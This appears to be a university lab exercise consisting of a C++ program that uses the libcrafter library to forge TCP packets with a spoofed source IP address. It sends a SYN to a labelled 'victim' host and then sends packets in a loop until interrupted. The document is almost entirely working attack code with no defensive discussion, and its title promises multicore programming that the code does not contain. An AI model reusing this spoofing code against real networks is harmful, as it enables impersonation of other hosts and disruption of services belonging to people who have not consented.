Implementation of IP spoofing using C++ multicore Programming

Problem Statement:
Implementation of IP spoofing using C++ multicore Programming

PROGRAM

#include <iostream>

#include <crafter.h>

#include <stdio.h>

#include <unistd.h>

using namespace std;

using namespace Crafter;

volatile byte spoof = 1; 

void ctrl_c(int dummy) {

        spoof = 0;

}

int main() {

      

        string iface = "p1p1"; //interface for the lab systems

       

        string MyIP = GetMyIP(iface);

       

         IP ip_header1;

         ip_header1.SetSourceIP("192.168.5.25"); //spoofing ip address

      ip_header1.SetDestinationIP("192.168.5.23");// victims ip address

        

        

        IP ip_header2;

        ip_header2.SetSourceIP("192.168.9.36");//source of attacker 

        ip_header2.SetDestinationIP("192.168.5.25");//spoof ip 

        TCP tcp_header1;

        tcp_header1.SetSrcPort(20);

        tcp_header1.SetDstPort(85); //Destination port which will accept the packets

        tcp_header1.SetSeqNumber(RNG32());

        tcp_header1.SetFlags(TCP::SYN);//SYNC PACKET

        TCP tcp_header2;

        tcp_header2.SetSrcPort(20);

        tcp_header2.SetDstPort(85);//Destination port which will accept the packets

        tcp_header2.SetSeqNumber(RNG32());

        tcp_header2.SetFlags(TCP::ACK);//ACK PACKET

        

        Packet tcp_packet1 = ip_header1 / tcp_header1;

        Packet tcp_packet2 = ip_header2 / tcp_header1;

       Packet tcp_packet3 = ip_header1 / tcp_header2;

cout << endl << "BEFORE SENDING.. " << endl;

        tcp_packet1.Print();

        tcp_packet1.Send();

        

        cout << endl << "SENDING.. " << endl;

        

        tcp_packet1.Print();

        cout<<"----------------------------------------------------------------------------------------------------------------------------"<<endl;

signal(SIGINT,ctrl_c);

while(spoof)

{

cout<<"SENDING THE PACKETS....."<<endl;

tcp_packet2.Send();

sleep(1);

}

           

        tcp_packet3.Send();

        CleanCrafter();

        return 0;

}

OUTPUT